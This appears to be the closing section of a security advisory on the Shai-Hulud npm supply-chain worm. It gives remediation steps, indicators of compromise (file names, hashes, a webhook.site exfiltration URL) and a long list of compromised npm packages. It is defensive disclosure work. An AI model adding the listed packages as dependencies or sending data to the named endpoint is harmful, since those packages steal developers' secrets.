In the event of a Shai-Hulud infection, and as a proactive response to the spreading threat, we recommend taking the following measures across your systems and infrastructure:

• Use a reliable security solution to conduct a full system scan.
• Audit your GitHub repositories:
• Check for repositories named shai-hulud.
• Look for non-trivial or unknown branches, pull requests, and files.
• Audit GitHub Actions logs for strings containing shai-hulud.
• Reissue npm and GitHub tokens, cloud keys (specifically for AWS and Google Cloud Platform), and rotate other secrets.
• Clear the cache and inventory your npm modules: check for malicious ones and roll back versions to clean ones.
• Check for indicators of compromise, such as files in the system or network artifacts.

Indicators of compromise

Files:
bundle.js
shai-hulud-workflow.yml

Strings:
shai-hulud

Hashes:
C96FBBE010DD4C5BFB801780856EC228
78E701F42B76CCDE3F2678E548886860

Network artifacts:
https://webhook.site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7

Compromised packages:
@ahmedhfarag/ngx-perfect-scrollbar
@ahmedhfarag/ngx-virtual-scroller
@art-ws/common
@art-ws/config-eslint
@art-ws/config-ts
@art-ws/db-context
@art-ws/di
@art-ws/di-node
@art-ws/eslint
@art-ws/fastify-http-server
@art-ws/http-server
@art-ws/openapi
@art-ws/package-base
@art-ws/prettier
@art-ws/slf
@art-ws/ssl-info
@art-ws/web-app
@basic-ui-components-stc/basic-ui-components
@crowdstrike/commitlint
@crowdstrike/falcon-shoelace
@crowdstrike/foundry-js
@crowdstrike/glide-core
@crowdstrike/logscale-dashboard
@crowdstrike/logscale-file-editor
@crowdstrike/logscale-parser-edit
@crowdstrike/logscale-search
@crowdstrike/tailwind-toucan-base
@ctrl/deluge
@ctrl/golang-template
@ctrl/magnet-link
@ctrl/ngx-codemirror
@ctrl/ngx-csv
@ctrl/ngx-emoji-mart
@ctrl/ngx-rightclick
@ctrl/qbittorrent
@ctrl/react-adsense
@ctrl/shared-torrent
@ctrl/tinycolor
@ctrl/torrent-file
@ctrl/transmission
@ctrl/ts-base32
@nativescript-community/arraybuffers
@nativescript-community/gesturehandler
@nativescript-community/perms
@nativescript-community/sentry
@nativescript-community/sqlite
@nativescript-community/text
@nativescript-community/typeorm
@nativescript-community/ui-collectionview
@nativescript-community/ui-document-picker
@nativescript-community/ui-drawer
@nativescript-community/ui-image
@nativescript-community/ui-label
@nativescript-community/ui-material-bottom-navigation
@nativescript-community/ui-material-bottomsheet
@nativescript-community/ui-material-core
@nativescript-community/ui-material-core-tabs
@nativescript-community/ui-material-ripple
@nativescript-community/ui-material-tabs
@nativescript-community/ui-pager
@nativescript-community/ui-pulltorefresh
@nstudio/angular
@nstudio/focus
@nstudio/nativescript-checkbox
@nstudio/nativescript-loading-indicator
@nstudio/ui-collectionview
@nstudio/web
@nstudio/web-angular
@nstudio/xplat
@nstudio/xplat-utils
@operato/board
@operato/data-grist
@operato/graphql
@operato/headroom
@operato/help
@operato/i18n
@operato/input
@operato/layout
@operato/popup
@operato/pull-to-refresh
@operato/shell
@operato/styles
@operato/utils
@teselagen/bio-parsers
@teselagen/bounce-loader
@teselagen/file-utils
@teselagen/liquibase-tools
@teselagen/ove
@teselagen/range-utils
@teselagen/react-list
@teselagen/react-table
@teselagen/sequence-utils
@teselagen/ui
@thangved/callback-window
@things-factory/attachment-base
@things-factory/auth-base
@things-factory/email-base
@things-factory/env
@things-factory/integration-base
@things-factory/integration-marketplace
@things-factory/shell
@tnf-dev/api
@tnf-dev/core
@tnf-dev/js
@tnf-dev/mui
@tnf-dev/react
@ui-ux-gang/devextreme-angular-rpk
@ui-ux-gang/devextreme-rpk
@yoobic/design-system
@yoobic/jpeg-camera-es6
@yoobic/yobi
ace-colorpicker-rpk
airchief
airpilot
angulartics2
another-shai
browser-webdriver-downloader
capacitor-notificationhandler
capacitor-plugin-healthapp
capacitor-plugin-ihealth
capacitor-plugin-vonage
capacitorandroidpermissions
config-cordova
cordova-plugin-voxeet2
cordova-voxeet
create-hest-app
db-evo
devextreme-angular-rpk
devextreme-rpk
ember-browser-services
ember-headless-form
ember-headless-form-yup
ember-headless-table
ember-url-hash-polyfill
ember-velcro
encounter-playground
eslint-config-crowdstrike
eslint-config-crowdstrike-node
eslint-config-teselagen
globalize-rpk
graphql-sequelize-teselagen
json-rules-engine-simplified
jumpgate
koa2-swagger-ui
mcfly-semantic-release
mcp-knowledge-base
mcp-knowledge-graph
mobioffice-cli
monorepo-next
mstate-angular
mstate-cli
mstate-dev-react
mstate-react
ng-imports-checker
ng2-file-upload
ngx-bootstrap
ngx-color
ngx-toastr
ngx-trend
ngx-ws
oradm-to-gql
oradm-to-sqlz
ove-auto-annotate
pm2-gelf-json
printjs-rpk
react-complaint-image
react-jsonschema-form-conditionals
react-jsonschema-form-extras
react-jsonschema-rxnt-extras
remark-preset-lint-crowdstrike
rxnt-authentication
rxnt-healthchecks-nestjs
rxnt-kue
swc-plugin-component-annotate
tbssnch
teselagen-interval-tree
tg-client-query-builder
tg-redbird
tg-seq-gen
thangved-react-grid
ts-gaussian
ts-imports
tvi-cli
ve-bamreader
ve-editor
verror-extra
voip-callkit
wdio-web-reporter
yargs-help-output
yoo-styles